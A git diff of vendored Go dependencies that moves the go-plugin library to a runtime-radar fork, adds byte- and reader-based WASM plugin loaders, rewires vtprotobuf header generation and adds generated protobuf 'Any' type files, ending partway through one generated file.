0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4d, 0x65, - 0x73, 0x73, 0x61, 0x67, 0x65, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0xe5, 0xf4, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x6d, 0x65, 0x6d, 0x70, 0x6f, 0x6f, 0x6c, 0x42, 0x49, 0x0a, - 0x13, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x42, 0x07, 0x56, 0x54, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x5a, 0x29, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x6c, 0x61, 0x6e, 0x65, 0x74, - 0x73, 0x63, 0x61, 0x6c, 0x65, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, -} - -var file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_goTypes = []interface{}{ - (*descriptorpb.MessageOptions)(nil), // 0: google.protobuf.MessageOptions -} -var file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_depIdxs = []int32{ - 0, // 0: vtproto.mempool:extendee -> google.protobuf.MessageOptions - 1, // [1:1] is the sub-list for method output_type - 1, // [1:1] is the sub-list for method input_type - 1, // [1:1] is the sub-list for extension type_name - 0, // [0:1] is the sub-list for extension extendee - 0, // [0:0] is the sub-list for field type_name -} - -func init() { file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_init() } -func file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_init() { - if File_github_com_planetscale_vtprotobuf_vtproto_ext_proto != nil { - return - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_rawDesc, - NumEnums: 0, - NumMessages: 0, - NumExtensions: 1, - NumServices: 0, - }, - GoTypes: file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_goTypes, - DependencyIndexes: file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_depIdxs, - ExtensionInfos: file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_extTypes, - }.Build() - File_github_com_planetscale_vtprotobuf_vtproto_ext_proto = out.File - file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_rawDesc = nil - file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_goTypes = nil - file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_depIdxs = nil -} diff --git a/vendor/github.com/prometheus/common/expfmt/expfmt.go b/vendor/github.com/prometheus/common/expfmt/expfmt.go index c34c7de4..4e4c13e7 100644 --- a/vendor/github.com/prometheus/common/expfmt/expfmt.go +++ b/vendor/github.com/prometheus/common/expfmt/expfmt.go @@ -45,6 +45,7 @@ const ( // The Content-Type values for the different wire protocols. Do not do direct // comparisons to these constants, instead use the comparison functions. + // // Deprecated: Use expfmt.NewFormat(expfmt.TypeUnknown) instead. FmtUnknown Format = `` // Deprecated: Use expfmt.NewFormat(expfmt.TypeTextPlain) instead. diff --git a/vendor/github.com/prometheus/common/expfmt/fuzz.go b/vendor/github.com/prometheus/common/expfmt/fuzz.go index 0290f6ab..872c0c15 100644 --- a/vendor/github.com/prometheus/common/expfmt/fuzz.go +++ b/vendor/github.com/prometheus/common/expfmt/fuzz.go @@ -13,7 +13,6 @@ // Build only when actually fuzzing //go:build gofuzz -// +build gofuzz package expfmt diff --git a/vendor/github.com/knqyf263/go-plugin/LICENSE b/vendor/github.com/runtime-radar/go-plugin/LICENSE similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/LICENSE rename to vendor/github.com/runtime-radar/go-plugin/LICENSE diff --git a/vendor/github.com/knqyf263/go-plugin/cmd/protoc-gen-go-plugin/main.go b/vendor/github.com/runtime-radar/go-plugin/cmd/protoc-gen-go-plugin/main.go similarity index 94% rename from vendor/github.com/knqyf263/go-plugin/cmd/protoc-gen-go-plugin/main.go rename to vendor/github.com/runtime-radar/go-plugin/cmd/protoc-gen-go-plugin/main.go index 69457879..156879e8 100644 --- a/vendor/github.com/knqyf263/go-plugin/cmd/protoc-gen-go-plugin/main.go +++ b/vendor/github.com/runtime-radar/go-plugin/cmd/protoc-gen-go-plugin/main.go @@ -6,7 +6,7 @@ import ( "google.golang.org/protobuf/compiler/protogen" "google.golang.org/protobuf/types/pluginpb" - "github.com/knqyf263/go-plugin/gen" + "github.com/runtime-radar/go-plugin/gen" ) func main() { diff --git a/vendor/github.com/knqyf263/go-plugin/encoding/defval/default.go b/vendor/github.com/runtime-radar/go-plugin/encoding/defval/default.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/encoding/defval/default.go rename to vendor/github.com/runtime-radar/go-plugin/encoding/defval/default.go diff --git a/vendor/github.com/knqyf263/go-plugin/encoding/tag/tag.go b/vendor/github.com/runtime-radar/go-plugin/encoding/tag/tag.go similarity index 98% rename from vendor/github.com/knqyf263/go-plugin/encoding/tag/tag.go rename to vendor/github.com/runtime-radar/go-plugin/encoding/tag/tag.go index 6157cb6b..e6983935 100644 --- a/vendor/github.com/knqyf263/go-plugin/encoding/tag/tag.go +++ b/vendor/github.com/runtime-radar/go-plugin/encoding/tag/tag.go @@ -13,7 +13,7 @@ import ( "google.golang.org/protobuf/reflect/protoreflect" - "github.com/knqyf263/go-plugin/encoding/defval" + "github.com/runtime-radar/go-plugin/encoding/defval" ) var byteType = reflect.TypeOf(byte(0)) diff --git a/vendor/github.com/knqyf263/go-plugin/gen/host.go b/vendor/github.com/runtime-radar/go-plugin/gen/host.go similarity index 90% rename from vendor/github.com/knqyf263/go-plugin/gen/host.go rename to vendor/github.com/runtime-radar/go-plugin/gen/host.go index 715a2f99..cfe84287 100644 --- a/vendor/github.com/knqyf263/go-plugin/gen/host.go +++ b/vendor/github.com/runtime-radar/go-plugin/gen/host.go @@ -161,9 +161,10 @@ func genHost(g *protogen.GeneratedFile, f *fileInfo, service *serviceInfo) { // Plugin loading structName := strings.ToLower(service.GoName[:1]) + service.GoName[1:] - var hostFunctionsArg, exportHostFunctions string + var hostFunctionsArg, hostFunctionsCallArg, exportHostFunctions string if f.hostService != nil { hostFunctionsArg = ", hostFunctions " + f.hostService.GoName + hostFunctionsCallArg = ", hostFunctions" exportHostFunctions = ` h := _` + strings.ToLower(f.hostService.GoName[:1]) + f.hostService.GoName[1:] + `{hostFunctions} @@ -183,19 +184,52 @@ func genHost(g *protogen.GeneratedFile, f *fileInfo, service *serviceInfo) { service.GoName, )) - g.P(fmt.Sprintf("func (p *%s) Load(ctx %s, pluginPath string %s) (%s, error) {", + // LoadPath: read file, delegate to LoadBinary. + g.P(fmt.Sprintf("func (p *%s) LoadPath(ctx %s, pluginPath string %s) (%s, error) {", pluginName, g.QualifiedGoIdent(contextPackage.Ident("Context")), hostFunctionsArg, structName, )) - g.P(fmt.Sprintf(`b, err := %s(pluginPath) if err != nil { return nil, err } + return p.LoadBinary(ctx, b%s) + } +`, + g.QualifiedGoIdent(osPackage.Ident("ReadFile")), + hostFunctionsCallArg, + )) - // Create a new runtime so that multiple modules will not conflict + // LoadReader: read all, delegate to LoadBinary. + g.P(fmt.Sprintf("func (p *%s) LoadReader(ctx %s, reader %s %s) (%s, error) {", + pluginName, + g.QualifiedGoIdent(contextPackage.Ident("Context")), + g.QualifiedGoIdent(ioPackage.Ident("Reader")), + hostFunctionsArg, + structName, + )) + g.P(fmt.Sprintf(`b, err := %s(reader) + if err != nil { + return nil, err + } + return p.LoadBinary(ctx, b%s) + } +`, + g.QualifiedGoIdent(ioPackage.Ident("ReadAll")), + hostFunctionsCallArg, + )) + + // LoadBinary: canonical implementation. + g.P(fmt.Sprintf("func (p *%s) LoadBinary(ctx %s, b []byte %s) (%s, error) {", + pluginName, + g.QualifiedGoIdent(contextPackage.Ident("Context")), + hostFunctionsArg, + structName, + )) + + g.P(fmt.Sprintf(`// Create a new runtime so that multiple modules will not conflict r, err := p.newRuntime(ctx) if err != nil { return nil, err @@ -207,7 +241,7 @@ func genHost(g *protogen.GeneratedFile, f *fileInfo, service *serviceInfo) { if err != nil { return nil, err } - + // InstantiateModule runs the "_start" function, WASI's "main". module, err := r.InstantiateModule(ctx, code, p.moduleConfig) if err != nil { @@ -235,7 +269,6 @@ func genHost(g *protogen.GeneratedFile, f *fileInfo, service *serviceInfo) { return nil, fmt.Errorf("API version mismatch, host: %%d, plugin: %%d", %sAPIVersion, results[0]) } `, - g.QualifiedGoIdent(osPackage.Ident("ReadFile")), exportHostFunctions, g.QualifiedGoIdent(wazeroSysPackage.Ident("ExitError")), g.QualifiedGoIdent(fmtPackage.Ident("Errorf")), @@ -355,11 +388,6 @@ func genPluginMethod(g *protogen.GeneratedFile, f *fileInfo, method *protogen.Me resSize &^= %s } - // We don't need the memory after deserialization: make sure it is freed. - if resPtr != 0 { - defer p.free.Call(ctx, uint64(resPtr)) - } - // The pointer is a linear memory offset, which is where we write the name. bytes, ok := p.module.Memory().Read(resPtr, resSize) if !ok { diff --git a/vendor/github.com/knqyf263/go-plugin/gen/init.go b/vendor/github.com/runtime-radar/go-plugin/gen/init.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/gen/init.go rename to vendor/github.com/runtime-radar/go-plugin/gen/init.go diff --git a/vendor/github.com/knqyf263/go-plugin/gen/main.go b/vendor/github.com/runtime-radar/go-plugin/gen/main.go similarity index 94% rename from vendor/github.com/knqyf263/go-plugin/gen/main.go rename to vendor/github.com/runtime-radar/go-plugin/gen/main.go index 05f14308..b2835d22 100644 --- a/vendor/github.com/knqyf263/go-plugin/gen/main.go +++ b/vendor/github.com/runtime-radar/go-plugin/gen/main.go @@ -4,6 +4,7 @@ package gen import ( + "bytes" "fmt" "go/ast" "go/parser" @@ -14,19 +15,19 @@ import ( "unicode" "unicode/utf8" - _ "github.com/planetscale/vtprotobuf/features/marshal" - _ "github.com/planetscale/vtprotobuf/features/size" - _ "github.com/planetscale/vtprotobuf/features/unmarshal" - vtgenerator "github.com/planetscale/vtprotobuf/generator" + _ "github.com/runtime-radar/vtprotobuf/features/marshal" + _ "github.com/runtime-radar/vtprotobuf/features/size" + _ "github.com/runtime-radar/vtprotobuf/features/unmarshal" + vtgenerator "github.com/runtime-radar/vtprotobuf/generator" "google.golang.org/protobuf/compiler/protogen" "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/runtime/protoimpl" "google.golang.org/protobuf/types/descriptorpb" "google.golang.org/protobuf/types/pluginpb" - "github.com/knqyf263/go-plugin/encoding/tag" - "github.com/knqyf263/go-plugin/genid" - "github.com/knqyf263/go-plugin/version" + "github.com/runtime-radar/go-plugin/encoding/tag" + "github.com/runtime-radar/go-plugin/genid" + "github.com/runtime-radar/go-plugin/version" ) // SupportedFeatures reports the set of supported protobuf language features. @@ -76,7 +77,7 @@ var ( wazeroSysPackage goImportPath = protogen.GoImportPath("github.com/tetratelabs/wazero/sys") wazeroWasiPackage goImportPath = protogen.GoImportPath("github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1") - pluginWasmPackage goImportPath = protogen.GoImportPath("github.com/knqyf263/go-plugin/wasm") + pluginWasmPackage goImportPath = protogen.GoImportPath("github.com/runtime-radar/go-plugin/wasm") ) type goImportPath interface { @@ -94,13 +95,19 @@ type Options struct { } func NewGenerator(plugin *protogen.Plugin) (*Generator, error) { - ext := &vtgenerator.Extensions{} + g := &Generator{plugin: plugin} + + cfg := &vtgenerator.Config{ + WKTImportRewrite: true, + FileEmitter: g.rewriteVTHeader, + } featureNames := []string{"marshal", "unmarshal", "size"} - vtgen, err := vtgenerator.NewGenerator(plugin.Files, featureNames, ext) + vtgen, err := vtgenerator.NewGenerator(plugin, featureNames, cfg) if err != nil { return nil, err } + g.vtgen = vtgen for _, f := range plugin.Files { if !f.Generate { @@ -123,10 +130,34 @@ func NewGenerator(plugin *protogen.Plugin) (*Generator, error) { } } - return &Generator{ - plugin: plugin, - vtgen: vtgen, - }, nil + // vtproto v0.6.0 only exposes Generate(); call it once after import rewrites. + vtgen.Generate() + + return g, nil +} + +// rewriteVTHeader replaces vtproto's auto-generated header with the project's +// standard header. It renders generateHeader into a throwaway file, then +// strips bytes up to (but not including) the import block in vtproto's +// content and concatenates them. +func (gg *Generator) rewriteVTHeader(file *protogen.File, content []byte) []byte { + f := gg.newFileInfo(file) + + headerFile := gg.plugin.NewGeneratedFile( + file.GeneratedFilenamePrefix+"_vtproto_header.tmp", file.GoImportPath) + gg.generateHeader(headerFile, f) + header, err := headerFile.Content() + headerFile.Skip() + if err != nil { + gg.plugin.Error(err) + return content + } + + bodyIdx := bytes.Index(content, []byte("\nimport ")) + if bodyIdx < 0 { + return content + } + return append(header, content[bodyIdx+1:]...) } func replaceImport(m *protogen.Message) { @@ -136,7 +167,7 @@ func replaceImport(m *protogen.Message) { if strings.HasPrefix(string(m.GoIdent.GoImportPath), knownTypesPrefix) { m.GoIdent.GoImportPath = protogen.GoImportPath( strings.ReplaceAll(string(m.GoIdent.GoImportPath), - knownTypesPrefix, "github.com/knqyf263/go-plugin/types/known/"), + knownTypesPrefix, "github.com/runtime-radar/go-plugin/types/known/"), ) } } @@ -147,7 +178,6 @@ func (gg *Generator) GenerateFiles(file *protogen.File, opts Options) *protogen. gg.generatePBFile(f, opts.DisablePBGen) gg.generateHostFile(f) gg.generatePluginFile(f) - gg.generateVTFile(f) gg.generateOptionsFile(f) return nil } diff --git a/vendor/github.com/knqyf263/go-plugin/gen/options.go b/vendor/github.com/runtime-radar/go-plugin/gen/options.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/gen/options.go rename to vendor/github.com/runtime-radar/go-plugin/gen/options.go diff --git a/vendor/github.com/knqyf263/go-plugin/gen/plugin.go b/vendor/github.com/runtime-radar/go-plugin/gen/plugin.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/gen/plugin.go rename to vendor/github.com/runtime-radar/go-plugin/gen/plugin.go diff --git a/vendor/github.com/knqyf263/go-plugin/gen/reflect.go b/vendor/github.com/runtime-radar/go-plugin/gen/reflect.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/gen/reflect.go rename to vendor/github.com/runtime-radar/go-plugin/gen/reflect.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/any_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/any_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/any_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/any_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/api_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/api_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/api_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/api_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/descriptor_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/descriptor_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/descriptor_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/descriptor_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/doc.go b/vendor/github.com/runtime-radar/go-plugin/genid/doc.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/doc.go rename to vendor/github.com/runtime-radar/go-plugin/genid/doc.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/duration_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/duration_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/duration_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/duration_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/empty_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/empty_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/empty_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/empty_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/field_mask_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/field_mask_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/field_mask_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/field_mask_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/goname.go b/vendor/github.com/runtime-radar/go-plugin/genid/goname.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/goname.go rename to vendor/github.com/runtime-radar/go-plugin/genid/goname.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/map_entry.go b/vendor/github.com/runtime-radar/go-plugin/genid/map_entry.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/map_entry.go rename to vendor/github.com/runtime-radar/go-plugin/genid/map_entry.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/source_context_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/source_context_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/source_context_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/source_context_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/struct_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/struct_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/struct_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/struct_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/timestamp_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/timestamp_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/timestamp_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/timestamp_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/type_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/type_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/type_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/type_gen.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/wrappers.go b/vendor/github.com/runtime-radar/go-plugin/genid/wrappers.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/wrappers.go rename to vendor/github.com/runtime-radar/go-plugin/genid/wrappers.go diff --git a/vendor/github.com/knqyf263/go-plugin/genid/wrappers_gen.go b/vendor/github.com/runtime-radar/go-plugin/genid/wrappers_gen.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/genid/wrappers_gen.go rename to vendor/github.com/runtime-radar/go-plugin/genid/wrappers_gen.go diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.pb.go new file mode 100644 index 00000000..7311484d --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.pb.go @@ -0,0 +1,160 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: types/known/anypb/any.proto + +package anypb + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// `Any` contains an arbitrary serialized protocol buffer message along with a +// URL that describes the type of the serialized message. +// +// Protobuf library provides support to pack/unpack Any values in the form +// of utility functions or additional generated methods of the Any type. +// +// Example 1: Pack and unpack a message in C++. +// +// Foo foo = ...; +// Any any; +// any.PackFrom(foo); +// ... +// if (any.UnpackTo(&foo)) { +// ... +// } +// +// Example 2: Pack and unpack a message in Java. +// +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } +// +// Example 3: Pack and unpack a message in Python. +// +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... +// +// Example 4: Pack and unpack a message in Go +// +// foo := &pb.Foo{...} +// any, err := anypb.New(foo) +// if err != nil { +// ... +// } +// ... +// foo := &pb.Foo{} +// if err := any.UnmarshalTo(foo); err != nil { +// ... +// } +// +// The pack methods provided by protobuf library will by default use +// 'type.googleapis.com/full.type.name' as the type URL and the unpack +// methods only use the fully qualified type name after the last '/' +// in the type URL, for example "foo.bar.com/x/y.z" will yield type +// name "y.z". +// +// # JSON +// +// The JSON representation of an `Any` value uses the regular +// representation of the deserialized, embedded message, with an +// additional field `@type` which contains the type URL. Example: +// +// package google.profile; +// message Person { +// string first_name = 1; +// string last_name = 2; +// } +// +// { +// "@type": "type.googleapis.com/google.profile.Person", +// "firstName": , +// "lastName": +// } +// +// If the embedded message type is well-known and has a custom JSON +// representation, that representation will be embedded adding a field +// `value` which holds the custom JSON in addition to the `@type` +// field. Example (for message [google.protobuf.Duration][]): +// +// { +// "@type": "type.googleapis.com/google.protobuf.Duration", +// "value": "1.212s" +// } +type Any struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // A URL/resource name that uniquely identifies the type of the serialized + // protocol buffer message. This string must contain at least + // one "/" character. The last segment of the URL's path must represent + // the fully qualified name of the type (as in + // `path/google.protobuf.Duration`). The name should be in a canonical form + // (e.g., leading "." is not accepted). + // + // In practice, teams usually precompile into the binary all types that they + // expect it to use in the context of Any. However, for URLs which use the + // scheme `http`, `https`, or no scheme, one can optionally set up a type + // server that maps type URLs to message definitions as follows: + // + // - If no scheme is provided, `https` is assumed. + // - An HTTP GET on the URL must yield a [google.protobuf.Type][] + // value in binary format, or produce an error. + // - Applications are allowed to cache lookup results based on the + // URL, or have them precompiled into a binary to avoid any + // lookup. Therefore, binary compatibility needs to be preserved + // on changes to types. (Use versioned type names to manage + // breaking changes.) + // + // Note: this functionality is not currently available in the official + // protobuf release, and it is not used for type URLs beginning with + // type.googleapis.com. + // + // Schemes other than `http`, `https` (or the empty scheme) might be + // used with implementation specific semantics. + TypeUrl string `protobuf:"bytes,1,opt,name=type_url,json=typeUrl,proto3" json:"type_url,omitempty"` + // Must be a valid serialized protocol buffer of the above specified type. + Value []byte `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *Any) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *Any) GetTypeUrl() string { + if x != nil { + return x.TypeUrl + } + return "" +} + +func (x *Any) GetValue() []byte { + if x != nil { + return x.Value + } + return nil +} diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.proto b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.proto new file mode 100644 index 00000000..283786cd --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any.proto @@ -0,0 +1,126 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +syntax = "proto3"; + +option go_package = "github.com/runtime-radar/go-plugin/types/known/anypb"; + +// `Any` contains an arbitrary serialized protocol buffer message along with a +// URL that describes the type of the serialized message. +// +// Protobuf library provides support to pack/unpack Any values in the form +// of utility functions or additional generated methods of the Any type. +// +// Example 1: Pack and unpack a message in C++. +// +// Foo foo = ...; +// Any any; +// any.PackFrom(foo); +// ... +// if (any.UnpackTo(&foo)) { +// ... +// } +// +// Example 2: Pack and unpack a message in Java. +// +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } +// +// Example 3: Pack and unpack a message in Python. +// +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... +// +// Example 4: Pack and unpack a message in Go +// +// foo := &pb.Foo{...} +// any, err := anypb.New(foo) +// if err != nil { +// ... +// } +// ... +// foo := &pb.Foo{} +// if err := any.UnmarshalTo(foo); err != nil { +// ... +// } +// +// The pack methods provided by protobuf library will by default use +// 'type.googleapis.com/full.type.name' as the type URL and the unpack +// methods only use the fully qualified type name after the last '/' +// in the type URL, for example "foo.bar.com/x/y.z" will yield type +// name "y.z". +// +// +// JSON +// +// The JSON representation of an `Any` value uses the regular +// representation of the deserialized, embedded message, with an +// additional field `@type` which contains the type URL. Example: +// +// package google.profile; +// message Person { +// string first_name = 1; +// string last_name = 2; +// } +// +// { +// "@type": "type.googleapis.com/google.profile.Person", +// "firstName": , +// "lastName": +// } +// +// If the embedded message type is well-known and has a custom JSON +// representation, that representation will be embedded adding a field +// `value` which holds the custom JSON in addition to the `@type` +// field. Example (for message [google.protobuf.Duration][]): +// +// { +// "@type": "type.googleapis.com/google.protobuf.Duration", +// "value": "1.212s" +// } +// +message Any { + // A URL/resource name that uniquely identifies the type of the serialized + // protocol buffer message. This string must contain at least + // one "/" character. The last segment of the URL's path must represent + // the fully qualified name of the type (as in + // `path/google.protobuf.Duration`). The name should be in a canonical form + // (e.g., leading "." is not accepted). + // + // In practice, teams usually precompile into the binary all types that they + // expect it to use in the context of Any. However, for URLs which use the + // scheme `http`, `https`, or no scheme, one can optionally set up a type + // server that maps type URLs to message definitions as follows: + // + // * If no scheme is provided, `https` is assumed. + // * An HTTP GET on the URL must yield a [google.protobuf.Type][] + // value in binary format, or produce an error. + // * Applications are allowed to cache lookup results based on the + // URL, or have them precompiled into a binary to avoid any + // lookup. Therefore, binary compatibility needs to be preserved + // on changes to types. (Use versioned type names to manage + // breaking changes.) + // + // Note: this functionality is not currently available in the official + // protobuf release, and it is not used for type URLs beginning with + // type.googleapis.com. + // + // Schemes other than `http`, `https` (or the empty scheme) might be + // used with implementation specific semantics. + // + string type_url = 1; + + // Must be a valid serialized protocol buffer of the above specified type. + bytes value = 2; +} diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any_vtproto.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any_vtproto.pb.go new file mode 100644 index 00000000..3a3338db --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/anypb/any_vtproto.pb.go @@ -0,0 +1,209 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: types/known/anypb/any.proto + +package anypb + +import ( + fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + io "io" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +func (m *Any) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Any) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Any) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Value) > 0 { + i -= len(m.Value) + copy(dAtA[i:], m.Value) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Value))) + i-- + dAtA[i] = 0x12 + } + if len(m.TypeUrl) > 0 { + i -= len(m.TypeUrl) + copy(dAtA[i:], m.TypeUrl) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.TypeUrl))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Any) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.TypeUrl) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Value) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Any) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Any: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Any: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return 